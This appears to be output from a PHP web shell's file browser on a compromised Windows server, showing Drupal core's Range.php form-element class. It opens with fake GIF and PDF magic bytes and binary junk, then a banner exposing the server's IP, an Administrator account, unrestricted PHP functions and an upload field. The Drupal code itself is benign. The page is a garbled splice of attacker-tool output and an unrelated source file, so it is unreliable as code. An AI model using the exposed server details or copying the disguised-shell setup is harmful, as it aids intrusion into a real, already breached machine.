GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/lib/Drupal/Core/Render/Element/ |
Upload File : |
<?php namespace Drupal\Core\Render\Element; use Drupal\Core\Form\FormStateInterface; use Drupal\Core\Render\Element; /** * Provides a slider for input of a number within a specific range. * * Provides an HTML5 input element with type of "range". * * Properties: * - #min: Minimum value (defaults to 0). * - #max: Maximum value (defaults to 100). * Refer to \Drupal\Core\Render\Element\Number for additional properties. * * Usage example: * @code * $form['quantity'] = array( * '#type' => 'range', * '#title' => $this->t('Quantity'), * ); * @endcode * * @see \Drupal\Core\Render\Element\Number * * @FormElement("range") */ class Range extends Number { /** * {@inheritdoc} */ public function getInfo() { $info = parent::getInfo(); $class = get_class($this); return [ '#min' => 0, '#max' => 100, '#pre_render' => [ [$class, 'preRenderRange'], ], '#theme' => 'input__range', ] + $info; } /** * Prepares a #type 'range' render element for input.html.twig. * * @param array $element * An associative array containing the properties of the element. * Properties used: #title, #value, #description, #min, #max, #attributes, * #step. * * @return array * The $element with prepared variables ready for input.html.twig. */ public static function preRenderRange($element) { $element['#attributes']['type'] = 'range'; Element::setAttributes($element, ['id', 'name', 'value', 'step', 'min', 'max']); static::setAttributes($element, ['form-range']); return $element; } /** * {@inheritdoc} */ public static function valueCallback(&$element, $input, FormStateInterface $form_state) { if ($input === '') { $offset = ($element['#max'] - $element['#min']) / 2; // Round to the step. if (strtolower($element['#step']) != 'any') { $steps = round($offset / $element['#step']); $offset = $element['#step'] * $steps; } return $element['#min'] + $offset; } } }